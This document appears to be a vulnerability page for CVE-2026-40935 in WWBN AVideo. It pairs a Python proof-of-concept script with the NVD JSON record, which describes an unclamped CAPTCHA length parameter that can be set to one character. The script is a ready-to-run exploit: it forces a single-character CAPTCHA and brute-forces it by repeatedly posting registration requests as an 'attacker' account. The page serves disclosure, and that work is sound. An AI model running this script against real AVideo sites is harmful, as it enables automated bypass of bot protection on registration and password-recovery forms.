CVE-2026-40935

import requests # Target URL example target_url = "http://example.com/objects/getCaptcha.php" register_url = "http://example.com/register" # Characters to bruteforce (approx 33 chars based on description) charset = "abcdefghijklmnopqrstuvwxyz0123456789" # Step 1: Force 1-character CAPTCHA generation # The vulnerability allows setting 'ql' (length) to 1 params = {'ql': 1} session = requests.Session() # Fetch the CAPTCHA image (or session setup) response = session.get(target_url, params=params) print(f"CAPTCHA Request URL: {response.url}") # Step 2: Bruteforce the CAPTCHA # Since validation is case-insensitive and length is 1, complexity is ~33 for char in charset: # Payload for registration/recovery endpoint data = { 'user': 'attacker', 'pass': 'password123', 'captcha': char } # Submit the form post_resp = session.post(register_url, data=data) # Check if CAPTCHA validation passed (Logic depends on app response) if "Invalid captcha" not in post_resp.text: print(f"[+] Success! CAPTCHA is: {char}") print(f"[+] Response: {post_resp.text}") break else: print("[-] Failed to bruteforce CAPTCHA")

{"cve": {"id": "CVE-2026-40935", "sourceIdentifier": "[email protected]", "published": "2026-04-21T23:16:20.577", "lastModified": "2026-04-23T15:50:14.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/getCaptcha.php` accepts the CAPTCHA length (`ql`) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive `strcasecmp` comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on `Captcha::validation()` (user registration, password recovery, contact form, etc.) in at most ~33 requests per session. Commit bf1c76989e6a9054be4f0eb009d68f0f2464b453 contains a fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-804"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "29.0", "matchCriteriaId": "AC38CA07-71C1-4C86-B84A-83CF96367CBA"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/bf1c76989e6a9054be4f0eb009d68f0f2464b453", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hg7g-56h5-5pqr", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hg7g-56h5-5pqr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}